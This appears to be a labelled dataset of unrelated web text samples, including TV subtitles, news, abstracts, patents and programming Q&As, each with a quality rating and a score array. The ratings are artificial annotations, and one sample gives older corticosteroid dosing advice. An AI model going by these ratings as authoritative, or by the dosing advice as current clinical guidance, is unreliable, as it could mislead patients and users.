get the contract." "I'll put up a hundred." "Fifty is sufficient, Shatner." "I did have a deal with Flynn first." "If he meets the bond, then he's got it." "You know where to get in touch with me." "Thank you, sir." "And when they can't make it, you're gonna come back to talk to me." "Only it's gonna cost you 30% this time." "You might as well make it 50%... because you're never gonna have a chance to collect it." "Did we arrive in time?" "Just in time." "Now for phase two." "[beeping]" "Hey, what do you think you're doing?" "I was checking for smoke damage." "What's that supposed to mean?" "Figure it out yourself." "Yeah, I'll just do that." "As a matter of fact, I'll be waiting for you." "[car door closing] [car engine starting]" "I don't care what you have to do. I want those independents stopped." "They'll be in convoys." "It's gonna take a lot of men." "Then get them." "It's not just money now." "That guy's got it in for me." "He's not going to stop till he gets me." "All the better." "When you wreck that convoy, make sure he doesn't live through it." "(Devon) A $50,000 bond?" "Michael, you've got to be round the bend." "You want the truckers to go down without a chance?" "Joe Flynn to stay in jail?" "Of course not." "Mama Flynn and Sally?" "No." "And The Foundation to look like fools?" "Naturally not." "Look, we're all in this together." "What is a $50,000 bond among friends?" "All right, Michael. I have a couple of calls to make." "(Devon) By the way, how are you going to replace Flynn's truck?" "I've got an idea." "[people chattering]" "Devon, it's going to be all right." "But The Foundation mobile unit to haul produce?" "Really, Michael." "I don't know how you talked me into it." "Don't blame me, Devon." "You always told me... you'd never do anything you don't really want to do." "Well, that's the way I always felt, till now." "You'll get used to it." "By the way, what kind of produce is it?" "Onions." "Onions?" "Really, Michael." "Barring any accidents, the smell could last for months." "Well, if you whistle or put a pin in your mouth... I won't have to watch a grown man cry. I gotta go, Devon." "Yes, just as well." "Good luck, Michael." "Thanks, Devon." "(KITT) Michael, I've come to understand your humor... but don't you think you're being a little rough on Devon?" "No." "Thank you for your prompt answer." "Ready?" "All set." "I think you guys know this is Shatner and his group's last shot at us." "Let them come." "I think they will." "Keep moving." "Sure." "Stick together." "[truck horn blaring]" "(Shatner) Get the cement truck in position... and let's take them out." "[car tires screeching]" "I don't like this, partner." "Everything's going too smooth." "[beeping]" "(KITT) Well, then you'll be happy to hear... that I'm picking up a signal... from the homing device on the Curtis truck." "Great." "What's the location?" "(KITT) Moving towards the rear of the convoy." "There are two vehicles with it." "[car tires screeching]" "[truck horn blaring]" "[banging] [truck tires screeching]" "[car horn blaring]" "[truck horn blaring]" "Mom, watch out on your blind side." "What are you doing here?" "Yell at me later, just drive." "[car tires screeching]" "That's our man, let's get him." "(KITT) Wait, Michael, there's something up ahead." "There's a vehicle blocking the road and it contains 10 tons of broken concrete." "All right, give me what I need." "[beeping]" "(KITT) Michael, I said it contains 10 tons of concrete." "You're not going to...." "Not without you, partner." "[beeps]" "Shatner, you there?" "(Curtis) It's over, Shatner." "We can't stop them." "Finish them off." "You can catch them." "You do it. I'm done." "Let's get out of here." "(KITT) Which one do we want, Michael?" "Curtis." "The cops can pick up Shatner anytime." "That's Curtis off to the right." "All right, how do you suggest we take him?" "Gently, Michael." "Gently." "I hate making excuses to Bonnie." "She worries." "(Michael) All right, all right." "I'll do my best." "Okay, micro jam his brakes." "My pleasure, Michael." "[beeping] [truck tires screeching]" "Turbo boost, now!" "[brakes screeching]" "Hey, what are you hassling me for, man?" "You could've killed me." "Like you tried to kill the people in the convoy, huh?" "I don't know what you're talking about. I'm on my way to pick up a load." "You wanna see some pictures?" "KlTT, punch up the pictures of our friend here and the convoy." "Take a look." "(Michael) Now, zoom in on that one." "Hold it right there." "You see that picture?" "That picture and the homing device I planted in the truck... tie you up on this one." "Now, would you also like to see the pictures of you cutting Janetti's brakes?" "Wait a minute, hold on." "Can we talk?" "I mean, I'm not the one making the big score here, you know." "KlTT, hit the record button." "Ready, Michael." "All right, start talking and give him to me." "[beeps]" "[all chattering]" "(crowd) All right, Michael." "Thanks, man." "You got it." "Take care." "(woman) Geez, I think you look great." "All right." "(KITT) It's nice to have a family and friends to come back to." "We've got a family." "We got Devon, we got Bonnie." "I got you." "Thank you, Michael." "You know, you really are a good guy." "You know, that really means a lot to me." "I mean, we won the whole thing." "The Independent Association, Joey out of jail... everything's going to be just great." "Take care, little girl." "Could you lean down a little?" "I gotta go." "You know, Michael, we're going to miss her." "Yeah, if she was just... ten years older... and two feet taller."	Low	[ 0.516363636363636, 35.5, 33.25 ]
Teaching strategies and knowledge retention. This project compared nurses' knowledge retention after completion of either a competency-based, written self-learning module or a competency-based, didactic lecture module. Using a pretest/posttest quasiexperimental design, a convenient sample was selected from a group of registered nurses who attended a mandatory yearly review of standards from the Joint Commission on Accreditation of Healthcare Organizations (JCAHO) and the Occupational Safety and Health Association (OSHA). The 67 subjects were given pretests, the same content material using the two types of presentations, and posttests. An analysis of covariance was used to determine posttest differences between the groups, controlling for pretest scores. Results indicated no significant differences among posttest scores of the treatment group and the control group; alpha level was 0.05. Knowledge retention essentially was the same, regardless of the antecedent teaching methodology. The advantages of one teaching method versus another may be in the flexibility afforded the staff educator. After desired outcomes are identified, a teaching method can be determined based on the staff educators' requirements, the resources available, and the learners' needs.	Mid	[ 0.650918635170603, 31, 16.625 ]
The various folks dealing with the issue have yet to reveal the exact details that led to the hold-up in making the money available. But they are trying to change that now. Austin Police officers are looking into the cause of a single-car crash this morning that tool the life of the driver and sent three others to the hospital. The crash happened just before 12:30 a.m. on the westbound frontage road of U.S.-290 near Harris Branch Parkway. The other passengers were taken to UMC Breckenridge with non-life-threatening injuries. Police cannot say yet if alcohol or speed were factors in the crash. This is Austin’s 85th traffic fatality this year. It may not seem like it since we’ve heard so much about next year’s election, but today is Election Day. There are several statewide proposals to consider this time around. Among them is a proposal that would change the homestead exemption tax, and one that would exempt spouses of some disabled veterans from taxes. There will also be local elections on the ballot. Polls are open from 7am-7pm.	Low	[ 0.46938775510204006, 28.75, 32.5 ]
In recent years, magnetic recording and reproducing devices have been requested to attain more capacity and achieve higher performance due to increasing amount of information for personal computers and expanding applications to image recording apparatus, car navigation apparatus, and the like. For higher recording density, a smaller unit of magnetization reversal in magnetic recording media and media noise reduction are required. Conventional magnetic recording media have adopted a configuration that the ferromagnetic crystal grains comprising magnetic recording layers are preliminarily separated by nonmagnetic materials contained in magnetic recording layers. To increase the magnetic recording density by active control of the separators, discrete track media in which recording tracks are separated, and further, bit patterned media in which recording bits are separated, have been researched and developed. The technique to form the separators has been a significant point for higher recording density in both of these media. For example, following techniques have been proposed to form the separators in discrete track media. One technique is the substrate processing type which preliminarily forms concentric lands and grooves on a substrate and forms a magnetic film thereon to form a patterned magnetic film. Another technique is the magnetic layer processing type which masks a magnetic film and etches the parts of a magnetic film to be grooves to form the pattern. These techniques, however, include a plurality of processes such as backfilling nonmagnetic materials into the grooves, planarizing the surface so as to have the same level as the magnetic film to be the islands, and forming a protection film on the planarized surface. Consequently, other problems arise such as increase in foreign substances produced on the surfaces of the magnetic film and the protection film and increase in roughness of the surfaces. They prevent the reduction in the spacing between a magnetic head and a magnetic disk (nano-spacing), which is another point for higher recording density. To overcome these problems, a method of forming separators by ion implantation has been attempted. For example, Japanese Patent Publication No. H5-205257 (“Patent Document 1”) discloses a method of forming separators between recording tracks of a discrete track medium by altering the magnetic property by means of nitrogen ion implantation into a magnetic layer, for example. According to Patent Document 1, this method can increase the track density without being significantly affected by the process accuracy to decrease the track width for a head. Japanese Patent Publication No. H9-167336 (“Patent Document 2”) attempted a method of forming servo patterns by ion implantation. According to Patent Document 2, the flatness of the surface can be much more improved. Methods for separating recording tracks in discrete track media or recording bits in bit patterned media are important issues. In use of the methods in the above-listed documents, to improve the track density while preventing side writings onto recording tracks, forming separators across the magnetic layer in the film thickness direction is required. The forming separators require ion implantation of a nonmagnetic element across the magnetic layer in the film thickness direction at a sufficiently high acceleration voltage. In the meanwhile, if the acceleration voltage is raised, the thickness of a mask layer formed on the magnetic layer should be increased to prevent the recording tracks on the magnetic layer from being doped with nonmagnetic element ions. In this regard, if the thickness of the mask layer is increased, a problem arises that pattern collapse occur when the pattern pitch of the mask layer is narrowed for higher recording density. Therefore, the film thickness of the mask layer should be thinned so as to match the pattern pitch. However, if the film thickness is thinned and the acceleration voltage is high, the mask layer may not be able to sufficiently block the radiated ions and the recording tracks of the magnetic layer are doped with the nonmagnetic element ions. As a result, the magnetic property of the recording tracks is changed so that the read/write performance is disadvantageously deteriorated. In this case, it is necessary to lower the acceleration voltage in the ion implantation to reduce the implantation energy. However, if the implantation energy is reduced, separators may not be formed across the magnetic layer in the film thickness direction. If the structure of the magnetic layer is not appropriate, a magnetic flux induced by the magnetic layer remained undoped under the separators strays to the surface of separators to cause noise. Then, when the implantation energy is reduced, it is necessary to optimize the structure of the magnetic layer so as to match the implantation energy.	Mid	[ 0.623157894736842, 37, 22.375 ]
Q: GraphLab Create Installation Error - Python 3.5.2 I have been trying to install GraphLab Create on my system (64bit, Windows 10). I used the Installation guide as given on the site https://turi.com/download/install-graphlab-create-command-line.html I used the command line since I already had Anaconda3 installed in my system. I tried the Method - 1 but it didn't work because I'm not using Python2.7, but Python3.5.2, so, I tried Method - 2 by using Virtual Environment. I am getting a Syntax error when I try the command: virtualenv gl-env I have already installed Virtual Environment through pip so this should not happen, right ? Please help me out on what could possibly be wrong. A: From the installation instructions page: GraphLab Create installation requires a Python 2.7.x environment and pip version >= 7 You have to install GraphLab in a Python 2.7 environment, and not in a Python 3 one. Thus, install python2 first and then follow the rest of the instructions: conda create -n gl-env python=2.7 anaconda=4.0.0	Low	[ 0.49230769230769206, 32, 33 ]
According to the Southern Poverty Law Center (SPLC), South Carolina Lieutenant Governor — and incoming president of the College of Charleston — Glenn McConnell has made a career capitalizing on the legacy of the Confederacy. In 2007, for example, he appeared on a white nationalist radio program — The Political Cesspool — that ranks among its guests former Grand Wizard of the Ku Klux Klan David Duke. The show’s mission statement states that it espouses “a philosophy that is pro-White” and is dedicated to “reviv[ing] the White birthrate above replacement level fertility and beyond to grow the percentage of Whites in the world relative to other races.” On the program, Lt. Gov. McConnell spoke to host James Edwards about Confederate history and Southern heritage month. The interview begins with Edwards praising McConnell’s “distinct and distinguished Charleston accent.” They then begin to discuss the role of the National Association for the Advancement of Colored People (NAACP) in a 2001 debate about the flying of the Confederate flag. “Nobody had a problem with it until all of a sudden, I believe it was in the 1980s, the NAACP discovered that they were offended by it,” McConnell said. “In the year of 2001, we agreed to remove the flag from the top of the capitol.” McConnell claimed that he “had biracial and bipartisan support for that, and everybody was happy, but the NAACP,” but that for “all fair-minded people the controversy was resolved long ago, in the year 2001.” “What you have is some people returning to the trough of controversy, they’re trying to feed on passions, they’re appealing to prejudice and they’re trying to inflame constituents and citizens across our state.” “What’s sad about that,” he continued, “is that irresponsible grandstanding threatens to unravel the fabric of mutual respect and to divide our state for decades to come.” “What we did is, we sealed our state together by mutual respect, and let me explain that: first we went to a soldier’s flag, so we could truly say that we respected the valor of the soldiers that left their homes and family to answer the call of the government,” he concluded. “And most of them didn’t own slaves.” He did not, however, indicate how the NAACP should have “mutually respected” the valor of those that did. Listen to audio from Lt. Gov. McConnell’s appearance on The Political Cesspool via the SPLC below. About the Author Scott Eric Kaufman is the proprietor of the AV Club's Internet Film School and, in addition to Raw Story, also writes for Lawyers, Guns & Money. He earned a Ph.D. in English Literature from the University of California, Irvine in 2008.	Mid	[ 0.574561403508771, 32.75, 24.25 ]
(function() { 'use strict'; angular.module('journalism_workflow.v1.copy_editor', []); })();	Low	[ 0.43548387096774105, 20.25, 26.25 ]
San Francisco Giants pitcher Madison Bumgarner prepares to deliver a pitch against the Atlanta Braves in the first inning at AT&T Park. / Cary Edmondson, USA TODAY Sports by USA TODAY by USA TODAY SAN FRANCISCO (AP) - Madison Bumgarner didn't take any personal satisfaction from his first career victory over the Atlanta Braves. There's no doubt what it meant to his team. Bumgarner struck out a season-high 11 over seven innings, Gregor Blanco entered in the fifth as a pinch hitter and drove in four runs, and the San Francisco Giants routed the Atlanta Braves 10-1 Saturday. The North Carolina native grew up rooting for the Braves and had been winless against them in four previous starts. Bumgarner (4-1) gave up just four hits and walked two, winning for the first time since April 13. "They've got as good a shot as anybody to play October baseball," Bumgarner said of the Braves. "When you play a team like that, you want to play your best baseball, too." Blanco had a three-run double and triple in setting a career high for RBI. San Francisco's rotation, considered one of the best in the majors, has struggled early this season. But ace Matt Cain tossed eight innings of three-hit ball in Friday's win, and coupled with Bumgarner's effort, the Giants can claim the four-game series with a victory in Sunday's finale. It was a frustrating day for the National League East-leading Braves. Dan Uggla struck out four times and Chris Johnson went down swinging three times. After a victory in Thursday's opener, the Braves have mustered just 10 hits and been outscored 18-3. "He's nasty," Johnson said. "For me, he is one of the best lefties in the game. He throws his cutter in to righties. He makes righties feel uneasy." They hurt themselves defensively Saturday, and lefty Paul Maholm (4-4) lasted just 4 1/3 innings and was charged with six runs on eight hits. The Giants led 2-1 when they broke the game open with a four-run fifth, aided by the adventures of Braves right fielder Justin Upton. Upton let Marco Scutaro's liner skip past him for a one-out triple. After Pablo Sandoval was hit by a pitch, Buster Posey drove an RBI double deep to right that Upton made an awkward attempt on as it bounced up against the wall. Hunter Pence was intentionally walked to load the bases, and Braves interim manager Carlos Tosca called on Cory Gearrin to relieve Maholm. Giants manager Bruce Bochy sent up Blanco to hit for Francisco Peguero, and Blanco delivered a three-run double to right-center that extended the Giants' lead to 6-1. "It is definitely a difficult outfield," Upton said. "You definitely have to make a decision pre-pitch on how aggressive you want to be." Blanco was at it again in the eighth, when the Giants batted around and tacked on four more. His liner to left field skipped past a charging Evan Gattis and went for an RBI triple. Blanco is 9-for-19 this season with runners in scoring position. San Francisco's starting pitchers entered the day with a 4.48 ERA, which ranked 13th out of 15 NL teams. Bumgarner rebounded after his worst outing of the season, when he gave up five runs in six innings against Philadelphia on Monday. "That's a tough lineup to go through and he did quite a job for us," Bochy said. Johnson, the Braves third baseman, struck out swinging in all three at-bats against Bumgarner. "He's nasty," Johnson said. "For me, he is one of the best lefties in the game. He throws his cutter in to righties. He makes righties feel uneasy." Sandoval's homer in the first gave the Giants an early lead. Brandon Crawford doubled in a run in the fourth to make it 2-0, one of two hits the left-handed hitting Crawford had off Maholm. Maholm entered Saturday having yielded just four hits to lefties all season. NOTES: Giants reliever Santiago Casilla was scheduled to run during batting practice to test his sore right knee, but Bochy wasn't planning on having Casilla available until Tuesday's road trip opener at Toronto. ... Tim Lincecum, who starts Sunday for San Francisco, has lost his last four starts against Atlanta. Kris Medlen will take the ball for the Braves, looking to snap a five-start winless streak. ... Scutaro has an 11-game hitting streak. ... Johnson is 0 for 17 with eight strikeouts this month. Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.	Mid	[ 0.5759162303664921, 27.5, 20.25 ]
Rainmaker 1, 2, & 3 Gallon Dip Tube Hose and Nut Replacement (24/Cs) $6.99 The Rainmaker Sprayer replacement Lance Assembly 708905 includes handle, lance and spray tip. 708909 is a replacement Sprayer Pump. 708907 is a replacement O-Ring Kit. 708915 is a replacement kit that includes Dip tube, hose and nut. All parts are for use with Rainmaker 1 gallon (708904), 2 gallon (708906) and 3 gallon pump sprayers (708908). Description The Rainmaker Sprayer replacement Lance Assembly 708905 includes handle, lance and spray tip. 708909 is a replacement Sprayer Pump. 708907 is a replacement O-Ring Kit. 708915 is a replacement kit that includes Dip tube, hose and nut. All parts are for use with Rainmaker 1 gallon (708904), 2 gallon (708906) and 3 gallon pump sprayers (708908).	Mid	[ 0.609756097560975, 31.25, 20 ]
Use and abuse of systemic corticosteroid therapy. Steroid-responsive acute dermatoses should be treated with a single morning dose of prednisone for approximately 2 weeks. It is necessary to "taper" a short course of oral prednisone given by this method. Chronic dermatoses should be treated whenever possible with prednisone used in the morning and on alternate days. This method is effective, is free of most side effects, and suppresses the HPA axis minimally. There are few real advantages in using intramuscular corticosteroids. TAC is an unusually strong suppressor of the HPA axis. For chronic dermatoses, a less suppressive preparation might best be chosen if the physician feels that the intramuscular route is the most reasonable one. In any event TAC should never be used more often than every two months. Finally, the time-course of HPA recovery following short courses of steroids is presently unknown. Nonetheless, some astute critics of steroid metabolism have felt obliged to advise us that individuals who have received from 1 to 4 weeks of suppressive steroid treatment should be suspect as to the integrity of their HPA axis in stressful situations for up to one year. The withdrawal from, as well as the use of, systemic corticosteroids requires a creative and critical physician.	Mid	[ 0.628062360801781, 35.25, 20.875 ]
Abstract Background No study has examined dopamine D 2/3 receptor (D 2/3 R) availability in antipsychotic-free older patients with schizophrenia. Methods We included patients with schizophrenia 50 years or older who were antipsychotic-free for at least 3 months. We compared non-displaceable binding potential (BP ND ) of [11C]-raclopride in the caudate, putamen, ventral striatum, and globus pallidus between patients and age- and sex-matched healthy controls. Results Ten patients participated (antipsychotic-naive = 4). No differences in BP ND were found between patients and controls in any ROIs (F(1, 72) = .42, p = .52).	Mid	[ 0.5854800936768151, 31.25, 22.125 ]
Teens are Working Without a Net Peer and cultural pressure lead to a disconnect from one’s own beliefs and values. No information and bad information lead to uninformed decision making. The absence of healthy relationship frameworks lead to poor relationship choices. Silence and shame lead survivors of sexual abuse and violence to suffer alone. That’s where we come in. Who We Are Talk is an organization of young people, by young people, for young people, working to make Sex Ed better for the next generation. Talk challenges conventional notions of Sex Ed, how it should be taught, and what it means to be “at risk” for making poor relationship and sexual health decisions. Our Mission Talk’s Mission is to create a national corps of recent college graduates dedicated to empowering teens to make informed, responsible choices about their relationships and sexual health – and empowering parents to convey their beliefs and values to guide teens’ decision-making.	Mid	[ 0.606334841628959, 33.5, 21.75 ]
Sorry but ... Something is wrong.Status Code: 500PUOE1Wm9cuU2ptteiEGOKZo7ofCajFuvb5fewYJGlP+mXIP3+y2FIh0USnoElz4cPe+YF6vQj+lNi6EhPh9d1dmoiU2TckI5iBXbqPc3JF0WcB2GQOoTw2IsPoVf2U8aaQvgh63+Yq680KeKYh5JfLhYCgLYe+YFfEu1WUHWwnyCXWOv58V6q+0ZnSv1zu5zCEYSCEenxB+Tf2TOtyZJ4nkAfLViUvD6KYo05EZ2/DdL5qroeE9V7XrLXbQ9ncKMrCTbDxO9B7W0QhBX72lbm7Ywp/IB5RWxELg60runKS78tvSBjLWnJekQ/YK+rvUUX0xu3awtY03FPoYHx5i23155/MI4H6vgP2bIBfQRKQ+Sb1jaXPio+mi8MfymfPTiHsZ4q4kSc+ZXEwFyyVgizxKGnqhUFrLnzQG5kePwkJNC4rVaP7NhURe+n0HG0n4ZUGbA4Tg9yiygQm6a2+Jigg==Instructions: Please don't send a screenshot but copy the full error trace if you want to report this error to our team	Low	[ 0.5104166666666661, 36.75, 35.25 ]
Yes, the Democrats oppose sanctions, but they still agree that the US needs to oust Nicolás Maduro. The Republicans go even further and put the military option on the table. So the only position that we can have is to oppose the US effort to topple this government, to oppose this threat of war, and to demand an immediate end of sanctions. It's not our place to be pontificating about holding 'free and fair elections' if the objective conditions render them impossible.	Low	[ 0.513513513513513, 28.5, 27 ]
Q: Recursive call overload method I am tryting to display the number of tmp files recursively using the below code. But when I call the DirSearch() for recursive purpose; I get an error No overload method can take 1 argument. namespace TestForm { public partial class TEST : Form { public TEST() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { TEST search = new TEST(); search.DirSearch(); int result = search.DirSearch(); label1.Text = result.ToString(); } public int DirSearch() { int count = 0; var sDir = Directory.GetFiles(@"C:\", ".tmp", SearchOption.AllDirectories); try { foreach (string d in sDir) { foreach (string f in Directory.GetFiles(d, ".tmp")) { string extension = Path.GetExtension(f); if (extension != null && (extension.Equals(".tmp"))) { count++; return count; } } DirSearch(d); } } catch (UnauthorizedAccessException) { } } } } A: I think you are slightly misunderstanding the recursive algorithm you are trying to implement. For a recursive method to work, it needs to operate on an input and then call itself again (recursively) on derived inputs. Your DirSearch() method does not take any input, as such it will compute the same thing over and over again. You need to pass in the root path to the method at which the recursion algorithm will start, so the signature should change to: public int DirSearch(string rootPath) Then change: var sDir = Directory.GetFiles(rootPath, ".tmp", SearchOption.AllDirectories); Now in the body of the DirSearch method you have to enumerate all directories in the provided path and then call the DirSeach method with the full path to these directories: DirSearch(d) A: You should be bit cautious when writing recursive code. In your program/example Your method signature has to match for DirSearch. In return count; statement, code returns just after counting one file. You are not counting all of them. Please note, recursion comes with additional performance penality (Might not be for all cases, i'm leaving it to you to explore your case). Below code will help you to do what you need. public static int DirSearch(string root) { int count = Directory.GetFiles(root, ".tmp", SearchOption.TopDirectoryOnly).Count(); foreach (string dir in Directory.GetDirectories(root)) { count += Directory.GetFiles(dir, "*.tmp", SearchOption.TopDirectoryOnly).Count(); count += DirSearch(dir); } return count; } Hope this helps !!	Mid	[ 0.5525606469002691, 25.625, 20.75 ]
Q: c# linq-to-sql EF query to match a particular JSON structure I've JSON with the following structure: [ { "ID": 1, "Label": "Reg Scheme", "Colours": [ { "ID": 1, "Value": "0x3333cc", "Result": 1, "Label": null }, { "ID": 2, "Value": "0x666699", "Result": 2, "Label": null }, { "ID": 3, "Value": "0x009966", "Result": 3, "Label": null } ] }, { "ID": 2, "Label": "Spesh Scheme", "Colours": [ { "ID": 11, "Value": "0x59699c", "Result": 1, "Label": null }, { "ID": 12, "Value": "0x0070ff", "Result": 2, "Label": null }, { "ID": 13, "Value": "0x90865e", "Result": 3, "Label": null } ] }, and I have an entity dataset whereby I've joined all the relevant information, and am attempting to produce JSON with that structure via a single linq-to-sql EF query to be returned to the webapi method. My query so far is: return DbContext.Schemes .Join( DbContext.SchemeColours, s => s.SchemeID, sc => sc.SchemeID, (s, sc) => new { s.SchemeID, s.Label, sc.Colour, sc.Result, sc.ColourID }) .Select(a => new Overlay.ReportColourScheme { ID = a.SchemeID, Label = a.Label, Colours = new List<Overlay.ReportColour> { new Overlay.ReportColour { ID = a.ColourID, Value = a.Colour, Result = a.Result } } }) .ToArray(); Which is almost there but not quite: [ { "ID": 1, "Label": "Regular Scheme", "Colours": [ { "ID": 1, "Value": "0x3333cc", "Result": 1, "Label": null } ] }, { "ID": 1, "Label": "Regular Scheme", "Colours": [ { "ID": 2, "Value": "0x666699", "Result": 2, "Label": null } ] }, { "ID": 1, "Label": "Regular Scheme", "Colours": [ { "ID": 3, "Value": "0x009966", "Result": 3, "Label": null } ] }, { "ID": 2, "Label": "Protanopia adjusted Scheme", "Colours": [ { "ID": 11, "Value": "0x59699c", "Result": 1, "Label": null } ] }, { "ID": 2, "Label": "Protanopia adjusted Scheme", "Colours": [ { "ID": 12, "Value": "0x0070ff", "Result": 2, "Label": null } ] }, { "ID": 2, "Label": "Protanopia adjusted Scheme", "Colours": [ { "ID": 13, "Value": "0x90865e", "Result": 3, "Label": null } ] }, As of course it creates a new list for every resultID. The top-level ID is a SchemeID- what I'm looking for is logic along the lines of: "take the first 3 Results with a particular schemeID, add them to a list in Colours, then move on to the next schemeID" I believe this will produce identical JSON that I started the post with. Any assistance at all would be greatly appreciated, thank you. A: The main issue is that you are using a Join where actually you need a Group Join: return DbContext.Schemes .GroupJoin(DbContext.SchemeColours, s => s.SchemeID, sc => sc.SchemeID, (s, colours) => new Overlay.ReportColourScheme { ID = s.SchemeID, Label = s.Label, Colours = colours .Select(sc => new Overlay.ReportColour { ID = sc.ColourID, Value = sc.Colour, Result = sc.Result, }) .ToList() }) .ToArray(); But since you are using Entity Framework, it would be much better and eaiser if you define (if you already haven't) and use a navigation property: class Scheme { // ... public ICollection<SchemeColour> Colours { get; set; } } and then simply return DbContext.Schemes .Select(s => new Overlay.ReportColourScheme { ID = s.SchemeID, Label = s.Label, Colours = s.Colours .Select(sc => new Overlay.ReportColour { ID = sc.ColourID, Value = sc.Colour, Result = sc.Result, }) .ToList() }) .ToArray();	Mid	[ 0.588372093023255, 31.625, 22.125 ]
Helpston railway station Helpston railway station was a station in Helpston, Cambridgeshire, on the Midland Railway's Syston and Peterborough Railway. It was closed in 1966. The Great Northern Railway main line runs adjacent to the Midland Railway at this point, but the Great Northern never had a station in Helpston. This was due to an agreement whereby the Midland carried materials to the site during construction of the Great Northern, and in return the Great Northern offered no competition for services on this section. The goods shed survives, as does the Great Northern Railway signal box, which is now used only to monitor a number of level crossings in the vicinity. Helpston level crossing itself carries the Helpston to Glinton road over the four tracks of the ex-GNR line and the two tracks of the ex-MR line. This was previously two separate level crossings, controlled by two separate signal boxes. There was space for two cars between the level crossings. The crossings were merged and converted from gates to full barriers in the 1970s. References Category:Disused railway stations in Cambridgeshire Category:Transport in Peterborough Category:Buildings and structures in Peterborough Category:Railway stations opened in 1846 Category:Railway stations closed in 1966 Category:Former Midland Railway stations Category:Beeching closures in England Category:1846 establishments in England	High	[ 0.663414634146341, 34, 17.25 ]
Operation IceBridge, NASA's airborne mission to monitor polar ice, is amid its fourth week of flights for the Arctic 2011 campaign. Researchers and crew successfully completed flights from Thule, Greenland, to monitor sea ice and have now moved to Kangerlussuaq, Greenland to focus on flights monitoring the ice sheet. Flying a distance of about 19,000 miles [30,000 kilometers] over the Arctic Ocean, scientists onboard the P-3 collected data during eight sea ice flights based from Thule Air Base. One additional sea ice flight remains to be flown from Kangerlussuaq. Why Fly Sea Ice? Sea ice flights, flown this year from March 16-28, take priority early in the mission's Arctic campaigns. That's because sea ice typically reaches its annual maximum extent in March, and scientists want to collect data before the ice begins to melt and retreat during northern hemisphere's summer. This year, sea ice reached its maximum extent on March 7, reaching 5.7 million square miles and tying for the lowest extent since the start of satellite measurements in 1979. The thickness of Arctic sea ice cover is also declining, on average, throughout the satellite record, according to scientists including Joey Comiso of NASA's Goddard Space Flight Center in Greenbelt, Md. Now, after the Ice, Cloud, and land Elevation Satellite (ICESat) stopped collecting data in 2009, IceBridge continues to collect the data scientists need to observe sea ice thickness. The mission's airborne instrument suite collects lidar and radar data making it possible to monitor both the sea ice freeboard and the snow layer on top of the sea ice. Both measurements are important for quantifying the sea ice thickness and predicting the heat exchange between the Arctic Ocean and the atmosphere. Then, on March 23, the P-3 flew one of the campaign's most challenging flights - an overpass of the U.S. Navy's ICEX camp, an assemblage of tents and shacks drifting on an ice floe north of Fairbanks. On the ground with ICEX was a team of researchers from the Army's Cold Regions Research and Engineering Laboratory and the Naval Research Laboratory, who established a line that would be surveyed from on, below and above the ice. Comparing measurements from each vantage point helps scientists improve the accuracy of sea ice thickness measurements. Sea ice camps are moving targets, drifting along with the wind and ocean currents. The erratic movement makes for a challenging overflight. "The sea ice moves unpredictably, crazy, like a drunken sailor," said John Sonntag of URS Corporation, and the IceBridge instrument team lead. Just before the mission, the camp was floating north at about 66 feet per hour, but by the time the aircraft was nearby it had suddenly veered east at about 660 feet per hour. The flyover required precise coordination with ground teams before and during the flight. The P-3 returned to Thule on March 25 to complete three more science flights before transiting to Kangerlussuaq, the base of operations for the next few weeks. Land Ho! The single remaining sea ice flight planned to fly from Kangerlussuaq will overfly a CRYOVEX site. The sites are designed to calibrate the European Space Agency's ice-observing satellite, CryoSat-2. Overflying the site will help scientist link the ICESat, IceBridge and Cryosat-2 datasets. Meanwhile, IceBridge scientists are working to complete a series of land ice flights. To date, IceBridge has completed four land ice flights over west Greenland. Weather has been favorable in that area, which is typical. Upcoming land ice missions to southeast Greenland will rely on a bit more luck, as low pressure from the Icelandic low commonly produces clouds in the region. Sand Drift ExplainedStavanger, Norway (SPX) Apr 11, 2011 The sand along the south-western coastal rim of Norway has drifted for more than 9000 calendar years. This was triggered by sea-level changes and human activities, new research has found. Researchers in countries such as Denmark, the Netherlands and Poland study sand drift, but most of them are focusing on sand dunes along the coastline, not on the plains further inland. "Sand dunes ... read more The content herein, unless otherwise known to be public domain, are Copyright 1995-2014 - Space Media Network. AFP, UPI and IANS news wire stories are copyright Agence France-Presse, United Press International and Indo-Asia News Service. ESA Portal Reports are copyright European Space Agency. All NASA sourced material is public domain. Additional copyrights may apply in whole or part to other bona fide parties. Advertising does not imply endorsement,agreement or approval of any opinions, statements or information provided by Space Media Network on any Web page published or hosted by Space Media Network. Privacy Statement	Mid	[ 0.65566037735849, 34.75, 18.25 ]
Officer On Paid Administrative Leave After Being Arrested for DUI Stemming From Accident An off-duty Henderson police sergeant was arrested January 11th for suspicion of driving under the influence. Henderson Sgt. Lisa Mattingly was arrested booked into the Henderson Detention Center following a two vehicle traffic accident shortly before 10 p.m. The accident, which occurred near the intersection of Gibson Road and Horizon Ridge Parkway was described as minor. Officers responding to the scene deemed Mattingly was intoxicated and charged her with DUI First Offense and Following Too Closely, both misdemeanors. Mattingly, an 11-year veteran of the Henderson Police Department, was paid $158,941.72 in total pay and benefits in 2011.	Mid	[ 0.5562372188139061, 34, 27.125 ]
predicate all_different_int(array [int] of var int: x); predicate count(array [int] of var int: x, var int: y, var int: c); predicate fixed_cumulative(array [int] of var int: s, array [int] of int: d, array [int] of int: r, int: b); predicate global_cardinality(array [int] of var int: x, array [int] of int: cover, array [int] of var int: counts); predicate maximum_int(var int: m, array [int] of var int: x); predicate minimum_int(var int: m, array [int] of var int: x); predicate sliding_sum(int: low, int: up, int: seq, array [int] of var int: vs); predicate sort(array [int] of var int: x, array [int] of var int: y); predicate table_bool(array [int] of var bool: x, array [int, int] of bool: t); predicate table_int(array [int] of var int: x, array [int, int] of int: t); predicate var_cumulative(array [int] of var int: s, array [int] of int: d, array [int] of int: r, var int: b); var 16..16: A = 16; var 2..2: B = 2; var 1..99: C; var 1..99: D; var 1..99: E; var 8..8: F = 8; var 14..14: G = 14; var 1..99: H; var 1..99: I; var 1..9801: INT____00001 :: is_defined_var :: var_is_introduced; var 1..9801: INT____00002 :: is_defined_var :: var_is_introduced; var 1..9801: INT____00003 :: is_defined_var :: var_is_introduced; var 1..9801: INT____00004 :: is_defined_var :: var_is_introduced; var 1..9801: INT____00005 :: is_defined_var :: var_is_introduced; var 1..9801: INT____00006 :: is_defined_var :: var_is_introduced; var 1..99: K; array [1..10] of var 1..99: LD :: output_array([1..10]) = [16, 2, C, D, E, 8, 14, H, I, K]; constraint all_different_int(LD); constraint int_lin_eq([1, -1], [INT____00001, 